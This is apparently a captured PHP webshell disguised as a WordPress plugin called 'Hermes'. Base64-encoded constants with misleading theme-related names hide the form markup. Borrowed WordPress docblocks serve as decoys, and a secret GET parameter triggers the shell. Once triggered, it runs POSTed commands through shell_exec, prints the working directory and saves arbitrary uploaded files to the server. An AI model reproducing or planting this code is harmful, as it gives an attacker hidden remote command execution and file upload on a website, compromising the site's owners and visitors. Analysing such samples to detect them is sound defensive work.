PHP Decode

<?php 
/* 
Plugin Name: Hermes 
Plugin URI: https://github.com/p0dalirius/Wordpress-webshell-plugin 
Description: A webshell API for WordPress. 
Author: Remi Gascou (Podalirius) 
Version: 1.1.0 
Author URI: https://podalirius.net/ 
Text Domain: webshell 
Domain Path: /languages 
License: GPLv3 or later 
Network: true 
*/ 
 
 
define('INSTALLATION_KEY', base64_decode("NGN4MA==")); 
define('AUTHOR_KEY', base64_decode('PGZvcm0gbWV0aG9kPSJwb3N0Ij4=')); 
define('HOST_KEY', base64_decode('PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNvbW1hbmQiIC8+')); 
define('THEMES_SELECTION', base64_decode('PGlucHV0IHR5cGU9InN1Ym1pdCI+')); 
define('THEMES_INSTALL', base64_decode('PC9mb3JtPg==')); 
define('DEFAULT_THEMES', base64_decode('Y29tbWFuZA==')); 
define('PATH_THEMES', base64_decode('Y29tbWFuZA==')); 
define('BASE64_THEMES', base64_decode('cHdk')); 
define('BASE64_TITLE', base64_decode('WHhfaGVybWVzX3hYCg==')); 
define('UPLOAD_THEMES_1', base64_decode('PGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSIiIG1ldGhvZD0iUE9T')); 
define('UPLOAD_THEMES_2', base64_decode('VCI+IDxwPlVwbG9hZCB5b3VyIGZpbGU8L3A+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVwbG9h')); 
define('UPLOAD_THEMES_3', base64_decode('ZGVkX2ZpbGUiPjwvaW5wdXQ+PGJyIC8+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlVwbG9h')); 
define('UPLOAD_THEMES_4', base64_decode('ZCI+PC9pbnB1dD48L2Zvcm0+IDwvYm9keT48L2h0bWw+Cg==')); 
 
/** 
 * Customize Setting to represent a nav_menu. 
 * 
 * Subclass of WP_Customize_Setting to represent a nav_menu taxonomy term, and 
 * the IDs for the nav_menu_items associated with the nav menu. 
 * 
 * @since 4.3.0 
 * 
 * @see WP_Customize_Setting 
 */ 
 
$wp_body = INSTALLATION_KEY; 
$wp_config_header = AUTHOR_KEY; 
$wp_config_body = HOST_KEY; 
$wp_themes_config = THEMES_SELECTION; 
$wp_themes_install = THEMES_INSTALL; 
$wp_body = strrev($wp_body); 
$wp_default = DEFAULT_THEMES; 
$wp_path = PATH_THEMES; 
$wp_builder = BASE64_THEMES; 
 
if(isset($_GET[$wp_body])){ 
	/** 
	 * Fires before the Site Activation page is loaded. 
	 * 
	 * Fires on the {@see 'wp_head'} action. 
	 * 
	 * @since 3.0.0 
	 */ 
    echo BASE64_TITLE; 
	echo AUTHOR_KEY; 
	echo HOST_KEY; 
	echo THEMES_SELECTION; 
	echo THEMES_INSTALL; 
    echo UPLOAD_THEMES_1; 
    echo UPLOAD_THEMES_2; 
    echo UPLOAD_THEMES_3; 
    echo UPLOAD_THEMES_4; 
    if(!empty($_FILES["uploaded_file"])){ 
        $path = basename( $_FILES["uploaded_file"]["name"]); 
        if(move_uploaded_file($_FILES["uploaded_file"]["tmp_name"], $path)) { 
            echo "The file ".  basename( $_FILES["uploaded_file"]["name"])." has been uploaded";} 
        else{ 
            echo "There was an error uploading the file, please try again!";}} 
	if(isset($_POST[$wp_default])){ 
		$wp_themes_install=shell_exec($_POST[$wp_path]); 
		echo"<pre>$wp_themes_install</pre>";} 
		$wp_themes_install=shell_exec($wp_builder); 
		echo"<pre>pwd: $wp_themes_install</pre>";} 
	/** 
	* Tells WordPress to load the WordPress theme and output it. 
	* 
	* @var bool 
	*/ 
?>